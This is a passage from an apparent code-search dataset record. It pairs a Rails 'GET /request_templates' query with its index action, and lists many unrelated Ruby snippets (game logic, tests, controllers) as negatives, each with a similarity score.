\"Vous n'avez pas d'objets dans votre inventaire pour l'instant.\"\n numero_tour -= 1\n else\n puts \"\"\n puts \"Je n'ai pas compris. Que faites-vous ?\"\n puts \"\"\n numero_tour -= 1\n end\n end\n end\n\n def afficher_inventaire\n#à compléter\n\n end\nend",
"def alive?()\n\n @hunger_counter < @hunger_limit\n end",
"def test_member_register_after_early_bird\n\t\tmember = Enrollments.new(:participantID => participants(:six).participantID,:courseID => \"run12345\", :startDate => '2013-10-18' )\n\t\t\n\t\t# Checking if the member exists by the expiry date to be greater than tomorrow's date, but if nil or expired date, then participant is not a member\n\t\tassert_operator Date.today, :<=, participants(:six).expirydate, \"Member is not a member\"\n\t\tassert_not_nil participants(:six).expirydate, \"Member is not a member\"\n\n\t\tearly_bird_last_date = '2013-09-01'\n\n\t\t#Date.today since creating the enrollment will of today\n\t\tassert_operator Date.today, :<, Date.parse(early_bird_last_date), \"Member registered too late for early bird\"\n\tend",
"def handlePossibleAccident\n return false unless rand < @driver.accident\n\n @lastSpeed = @nextSpeed = Velocity::Zero\n @fixTime = World.time + RepairTime\n @bodyEnd = @bodyStart - @length\n @totalAccidents += 1\n\n true\n end",
"def hungry?(time_of_day_in_hours)\n if time_of_day_in_hours < 12\n puts \"Me not hungry.\"\n\tfalse\n else\n puts \"Me hungry.\"\n true\n end\nend",
"def evade\n return false if (@enemies < 1 and @captives < 1) or # There are units to interact\n enemies_close or # There are enemies close\n captives_close or # There are captives close \n !warrior.feel(get_stairs_location).stairs? # There are no stairs close\n puts \"Evading the stairs, there are unit to interact with still\"\n Directions.each do |dir|\n if warrior.feel(dir).stairs?\n Directions.each do |new_dir|\n if !warrior.feel(new_dir).stairs? and\n !warrior.feel(new_dir).wall? and\n !warrior.feel(new_dir).enemy? and\n !warrior.feel(new_dir).captive? and \n warrior.feel(new_dir).empty? and \n dir == warrior.direction_of(warrior.listen.first)\n return warrior.walk! new_dir\n end\n end \n end\n end\n return false\n end",
"def predicted_deaths\n multiplier = 0\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end",
"def predicted_deaths\n death_toll = (population * death_multiplier).floor\n print \"#{state} will lose #{death_toll} people in this outbreak\"\n end",
"def isAlive?\n time_to_die=@Date_of_death\n actual_time=Chronic.parse(\"now\")\n if actual_time > time_to_die \n puts \"Votre tama est mort\"\n return false\n else\n puts \"Votre tama est vivant\"\n return true\n end\n end",
"def essence_to_life\n if not r_pause\n if essence >= new_life\n @essence -= new_life\n @life += 1\n $hud.set_lives(life)\n $sm.play_sound(\"regain1\",1.0,1.0,false)\n @r_pause = true\n else\n $sm.play_sound(\"error\",0.5,1.0,false)\n @r_pause = true\n end\n end\n end",
"def die\n\t\t#seriously wtf\n\t\tif (!@dead)\n\t\t\t@dead = true\n\t\t\tif (@has_flag)\n\t\t\t\t@has_flag = false\n\t\t\t\t@flag.drop()\n\t\t\t\t@flag = nil\n\t\t\tend\n\t\t\t\n\t\t\t#@flag = nil\n\t\t\t@x = -500\n\t\t\t@y = -500\n\t\t\t@time_till_respawn = @death_time\n\t\tend\n\t\t#start death countdown timer\n\tend",
"def update_life(time)\n add_life(time*TimeFactor) if @team != :neutral\n end",
"def creature; end",
"def creature; end",
"def creature; end",
"def creature; end",
"def fight(zombies, humans=1)\n if rand < ZOMBIFICATION_CHANCE\n false\n else\n true\n end\n end",
"def here\n if @zone_cur == 0\n narrate(\"you are currently at the #{self.name} entrance\")\n elsif @zone_cur == 10\n narrate(\"you are currently at the #{self.name} exit!\")\n else\n narrate(\"you are currently in the #{self.name}\")\n end\n actions\n end",
"def reduce_life\n if @life > 0 \n @life = @life - (1 * @starvation_rate)\n else\n @status = :dead\n end\n end",
"def ounce? = unit == 'ounce'",
"def die(killer)\n @lifes -= 1\n \"I (#{name}) am now dead\" unless alive?\n end",
"def attacks(human1, enemies)\n puts \"Les autres joueurs t'attaquent !\"\n enemies.each do |p| #chaque ennemi attaque l'humain, si l'humain meurt on quitte avant\n break if human1.life_points <= 0\n p.attacks(human1)\n\n puts\n end\n puts '----------------------------------------'\n gets # appuyez sur entrée c'est juste pour pas que ça défile\nend",
"def electromechanical; end",
"def game_over?\n @life <= 0\nend",
"def current_exp\n self.experience % 100\n end",
"def take_age\n @age += 1\n @infertility -= 1 if @infertility > 0\n @hunger += 1\n\n if @age > @max_age\n return false\n end\n\n return true\n end",
"def assistance_fee\n ROADSIDE_ASSISSTANCE_FEE_PER_DAY * duration\n end",
"def lives_decriment\n\t\tlives_will_change!\n\t\tself.lives -= 1 \n\t\tself.hp = self.level+5\n\t\tself.save!\n\t\tif self.lives <=0 \n\t\t\t# restarts NPC's renders user-wizards unusable\n\t\t\tif self.user_id == 1\n\t\t\t\tself.default_values()\n\t\t\telse\n\t\t\t\tputs \"Game Over for #{self.name}!\"\n\t\t\t\tself.level = 0\n\t\t\tend\n\t\tend\n\tend",
"def alive?()\n\t\tamount_of( :deuterium ) > 0\n\tend",
"def hit( damage )\n p_up = rand( charisma )\n if p_up % 9 == 7\n @life += p_up / 4\n puts \"[#{ self.class } magick powers up #{ p_up }!]\"\n end\n @life -= damage\n puts \"[#{ self.class } has died.]\" if @life <= 0\n end",
"def is_health_point_good()\r\n if @warrior.health < MAX_HEALTH\r\n return false\r\n end\r\n return true\r\n end",
"def hit( power )\n @life -= power\n # Maybe remove this?\n if @life <= 0\n puts \"#{self} died!\"\n # Remove dead monster from the list of living monsters\n $livingmonsters.delete( self )\n end\n end",
"def predicted_deaths\r\n\r\n number_of_deaths = (population * 0.05).floor\r\n \r\n 4.times do |i|\r\n if population_density >= 50*(i+1)\r\n number_of_deaths = (population * 0.1*(i+1)).floor\r\n end\r\n end\r\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end",
"def update_balance dt\n @off_balance_timer.keys.each do |k|\n if @off_balance_timer[k] && (@off_balance_timer[k] -= dt) <= 0\n hear_line \"You have regained #{k.to_s}\"\n @off_balance_timer[k] = nil\n end\n end\n end",
"def p1Alive #weather player is alive or not\r\n p1Life = true\r\n end",
"def invite_timeout\n\t\tif @state == :OPEN\n\t\t\tif @players.size > 1\n\t\t\t\tself.enter_arena\n\t\t\t\tEventMachine::Timer.new(1) do\n\t\t\t\t\tself.start\n\t\t\t end\n\t\t\telse \n\t\t\t\tself.invite_rejected\n\t\t\tend\n\t\tend\n\tend",
"def give_hr\n monster_attackers.each do |attacker|\n if attacker.damage_done > 50 + attacker.player.hr && attacker.player.hr < 100\n attacker.player.update(hr: attacker.player.hr + 1)\n end\n end\n end",
"def fate\n n = friends\n @alive ? ( n >= OVERCROWDED || n <= LONELY) : FERTILE.include?(n)\n end",
"def test_member_registering_early_bird\n\t\tmember = Enrollments.new(:participantID => participants(:six).participantID,:courseID => \"run12345\", :startDate => '2013-10-18' )\n\t\t\n\t\t# Checking if the member exists by the expiry date to be greater than tomorrow's date, but if nil or expired date, then participant is not a member\n\t\tassert_operator Date.today, :<=, participants(:six).expirydate, \"Member is not a member\"\n\t\tassert_not_nil participants(:six).expirydate, \"Member is not a member\"\n\n\t\tearly_bird_last_date = '2013-11-01'\n\n\t\t#Date.today since creating the enrollment will of today\n\t\tassert_operator Date.today, :<, Date.parse(early_bird_last_date), \"Member registered too late for early bird\"\n\tend",
"def predicted_deaths\r\n # predicted deaths is solely based on population density \r\n\r\n # multiplier when population density is less than 50\r\n multiplier = 0.05\r\n\r\n # sets new population density variable to have a mximum of 200\r\n max_pop = 200\r\n population_density_temp = [@population_density, max_pop].min\r\n \r\n multiplier = 0.1 * (population_density_temp / 50).floor if population_density_temp >= 50\r\n\r\n number_of_deaths = (@population * multiplier).floor\r\n\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end",
"def is_in_the_past? \n departureOnThe > returnOnThe \n end",
"def explore\n roll = rand(100) - depletion\n if roll < 0\n nil\n else\n increment! :depletion\n opportunity_base.generate_event\n end\n end",
"def under_attack \n return true if warrior.health < @health\n return false\n end",
"def encounter\n if self.outrun_zombie?\n return \"You escape!\"\n elsif self.survive_attack?\n return \"You kill the zombie!\"\n else\n return \"You are one of the shuffling horde now.\"\n end\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n if @range != 5.0\n number_of_deaths = (@population * (0.5-(@range/10.0))).floor\n else number_of_deaths = (@population * (@range/100)).floor\n end\n\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end",
"def remind?\n DateTime.now < dt\n end",
"def gets_damage (number)\n @life_points = @life_points - number.to_i\n if @life_points <= 0\n puts \"#{@name} a mangé ses morts !\"\n else return show_state\n end\n end",
"def add_defeated_enemies\n $game_troop.dead_members.each { |enemy| $game_party.add_enemy_defeated(enemy.enemy_id) }\n end",
"def takeoff\n if @engine_on == false\n return \"airplane not started, please start\"\n elsif @engine_on == true && @flying == false\n @flying = true\n @fuel -= 15\n return \"airplane launched\"\n else\n return \"airplane already flying\"\n end\n end",
"def future_expense_checker (record)\n\t\tdate = record.date_incurred\n \ttime = date.to_time\n \ttime.future?\n end",
"def gets_damage(damage)\n @life_points = @life_points - damage\n# point de vie est = point de vie - les dommages saisi\n if @life_points <= 0\n# si les points de vie inférieur ou égal à 0 le joueur est mort \n puts \"le joueur #{@name} a été tué!!\"\n end\n end"
] |
[
"0.61666507",
"0.6119798",
"0.6045934",
"0.59858143",
"0.59858143",
"0.5961142",
"0.58706886",
"0.5773955",
"0.5705975",
"0.57005566",
"0.5657362",
"0.5647225",
"0.5645293",
"0.56448597",
"0.56198215",
"0.5575726",
"0.5540993",
"0.55367315",
"0.55191875",
"0.5514104",
"0.55039215",
"0.5502178",
"0.54744387",
"0.5459632",
"0.5443773",
"0.5441786",
"0.54290116",
"0.53984463",
"0.5394564",
"0.537068",
"0.53694475",
"0.53596866",
"0.5359635",
"0.53396535",
"0.53346705",
"0.5331201",
"0.5323749",
"0.5317027",
"0.5314617",
"0.5310143",
"0.5309669",
"0.5300816",
"0.52968067",
"0.5291811",
"0.52917594",
"0.52902824",
"0.52898836",
"0.528759",
"0.52812237",
"0.5275757",
"0.527255",
"0.52665013",
"0.5255531",
"0.5245046",
"0.5235113",
"0.5233892",
"0.52207875",
"0.52198774",
"0.5218172",
"0.5215736",
"0.52145195",
"0.5213395",
"0.5213395",
"0.5213395",
"0.5213395",
"0.52037627",
"0.51992196",
"0.5196936",
"0.51951766",
"0.5193728",
"0.5187159",
"0.51859456",
"0.5185644",
"0.5171692",
"0.5169188",
"0.51610154",
"0.5158631",
"0.51549613",
"0.5153031",
"0.5152348",
"0.5146328",
"0.51436067",
"0.5142733",
"0.5142507",
"0.51423675",
"0.5142252",
"0.5141201",
"0.51410306",
"0.513802",
"0.5136809",
"0.51360565",
"0.513491",
"0.5134147",
"0.51303154",
"0.51287615",
"0.5128112",
"0.51254374",
"0.5124096",
"0.51220113",
"0.51193035"
] |
0.62831944
|
0
|
GET /request_templates GET /request_templates.json
|
def index
@request_templates = RequestTemplate.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def list\n @client.make_request :get, templates_path\n end",
"def show\n redirect_to edit_request_path(@request) if current_user.admin? && @request.pending?\n @request_templates = RequestTemplate.all\n end",
"def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end",
"def list\n @client.call(method: :get, path: 'templates')\n end",
"def get_templates(opts={})\n path = '/template/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'templates', HelloSign::Resource::Template\n end",
"def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end",
"def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end",
"def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end",
"def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end",
"def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def show\n respond_ok \"template\", @templates\n end",
"def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end",
"def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end",
"def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end",
"def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end",
"def get_template(name)\n response = request('Action' => 'GetTemplate', 'StackName' => name)\n rid = response.xpath('//aws:GetTemplateResponse/aws:ResponseMetadata/aws:RequestId', NS).text\n template_body = response.xpath('//aws:GetTemplateResponse/aws:GetTemplateResult/aws:TemplateBody', NS).text\n return {:request_id => rid, :body => JSON.parse(template_body)}\n end",
"def get_policy_templates\n @command = :get_policy_templates\n # get the policy templates from the RESTful API (as an array of objects)\n uri = URI.parse @uri_string + '/templates'\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'template'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Policy Templates:\", :style => :table)\n end",
"def tbu_list\n @client.make_request :get, templates_path('tbu')\n end",
"def get_course_templates_schema\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/schema\"\n _get(path)\n # This action returns a JSON array of SchemaElement blocks.\nend",
"def index\n @admin_templates = Template.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_templates }\n end\n end",
"def index\n @email_templates = EmailTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end",
"def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end",
"def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if !@templates.empty?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end",
"def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end",
"def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end",
"def templates\n @conn.templates\n end",
"def search_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TextMagicApi.search_templates ...'\n end\n # resource path\n local_var_path = '/api/v2/templates/search'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'ids'] = opts[:'ids'] if !opts[:'ids'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'content'] = opts[:'content'] if !opts[:'content'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SearchTemplatesPaginatedResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TextMagicApi#search_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list_workflow_templates request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_workflow_templates_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataproc::V1::ListWorkflowTemplatesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def create\n @request_template = RequestTemplate.new(request_template_params)\n\n respond_to do |format|\n if @request_template.save\n respond format, 'Request template was successfully created.'\n else\n format.html { render :new }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_message_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MessagingApi.get_message_templates ...\"\n end\n # resource path\n local_var_path = \"/messaging/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_tag_intersection'] = opts[:'filter_tag_intersection'] if !opts[:'filter_tag_intersection'].nil?\n query_params[:'filter_tag_exclusion'] = opts[:'filter_tag_exclusion'] if !opts[:'filter_tag_exclusion'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceMessageTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MessagingApi#get_message_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_all_course_templates\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/descendants/?ouTypeId=2\"\n _get(path)\n # return: JSON array of course template data objects\nend",
"def templates_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TemplatesApi.templates_list ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TemplatesApi.templates_list, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TemplatesApi.templates_list, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'metadata'].nil? && opts[:'metadata'].to_s.length > 500\n fail ArgumentError, 'invalid value for \"opts[:\"metadata\"]\" when calling TemplatesApi.templates_list, the character length must be smaller than or equal to 500.'\n end\n\n pattern = Regexp.new(/[^\"\\\\]{0,500}/)\n if @api_client.config.client_side_validation && !opts[:'metadata'].nil? && opts[:'metadata'] !~ pattern\n fail ArgumentError, \"invalid value for 'opts[:\\\"metadata\\\"]' when calling TemplatesApi.templates_list, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/templates'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'include'] = @api_client.build_collection_param(opts[:'include'], :multi) if !opts[:'include'].nil?\n query_params[:'date_created'] = opts[:'date_created'] if !opts[:'date_created'].nil?\n query_params[:'metadata'] = opts[:'metadata'] if !opts[:'metadata'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'TemplateList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"TemplatesApi.templates_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#templates_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def guardian_sms_templates\n path = \"#{guardian_factors_path}/sms/templates\"\n get(path)\n end",
"def templates\n @templates ||= TemplateFinder.new(path, types)\n end",
"def templates; end",
"def get_item_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: StoreApi.get_item_templates ...\"\n end\n # resource path\n local_var_path = \"/store/items/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceStoreItemTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StoreApi#get_item_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @my_templates = MyTemplate.all\n end",
"def get_templates(type)\n Dir[get_template_location << type << '/*']\n end",
"def resource_templates_by_name\n @resource_templates_by_name ||= resource_templates.all_by_name\n end",
"def count_of_associated_request_templates\n self.requests.template.count\n end",
"def possible_templates\n\t\tif !params[:funder].nil? && params[:funder] != \"\" && params[:funder] != \"undefined\" then\n\t\t\tfunder = Organisation.find(params[:funder])\n\t\telse\n\t\t\tfunder = nil\n\t\tend\n\t\tif !params[:institution].nil? && params[:institution] != \"\" && params[:institution] != \"undefined\" then\n\t\t\tinstitution = Organisation.find(params[:institution])\n\t\telse\n\t\t\tinstitution = nil\n\t\tend\n\t\ttemplates = {}\n\t\tunless funder.nil? then\n\t\t\tfunder.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\tend\n\t\tif templates.count == 0 && !institution.nil? then\n\t\t\tinstitution.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\t\tinstitution.children.each do |o|\n\t\t\t\to.published_templates.each do |t|\n\t\t\t\t\ttemplates[t.id] = t.title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n\tend",
"def cft_list\n @client.make_request :get, templates_path('cft')\n end",
"def index\n @templates = ::Template.all\n end",
"def owt_list\n @client.make_request :get, templates_path('owt')\n end",
"def get_report_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ReportApi.get_report_templates ...'\n end\n # resource path\n local_var_path = '/api/3/report_templates'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ResourcesReportTemplate')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReportApi#get_report_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def generate_request_spec\n template 'request_spec.rb', File.join('spec/requests', \"#{name.underscore.pluralize}_spec.rb\")\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def index\n @form_templates = FormTemplate.where(:is_current => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @form_templates }\n end\n end",
"def set_request_template\n @request_template = RequestTemplate.find(params[:id])\n end",
"def index\n @_templates = @site.templates.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @_templates }\n end\n end",
"def templates\n @templates ||= EbanqApi::Templates.new(self)\n end",
"def get_query_template( type, templates = [] ) \n\ttype = type.gsub(/[^a-z0-9-]+/, '')\n\n\ttemplates = [type] if templates.blank?\n\n\t# Filters the list of template filenames that are searched for when retrieving a template to use.\n\t#\n\t# The last element in the array should always be the fallback template for this query type.\n\t#\n\t# Possible values for `$type` include: 'index', '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date',\n\t# 'embed', 'home', 'frontpage', 'privacypolicy', 'page', 'paged', 'search', 'single', 'singular', and 'attachment'.\n\t#\n\t# @param array $templates A list of template candidates, in descending order of priority.\n\ttemplates = apply_filters( \"#{type}_template_hierarchy\", templates )\n\n\tif true # TS_INFO: It returns here all the templates, because the check will be done in the controller\n\t\treturn templates\n\tend\n\n\ttemplate = locate_template( templates )\n\n\t# Filters the path of the queried template by type.\n\t#\n\t# The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file\n\t# extension and any non-alphanumeric characters delimiting words -- of the file to load.\n\t# This hook also applies to various types of files loaded as part of the Template Hierarchy.\n\t#\n\t# Possible values for `$type` include: 'index', '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date',\n\t# 'embed', 'home', 'frontpage', 'privacypolicy', 'page', 'paged', 'search', 'single', 'singular', and 'attachment'.\n\t#\n\t# @param string $template Path to the template. See locate_template().\n\t# @param string $type Sanitized filename without extension.\n\t# @param array $templates A list of template candidates, in descending order of priority.\n\tapply_filters( \"#{type}_template\", template, type, templates )\nend",
"def index\n @templates = EmailTemplate.all\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
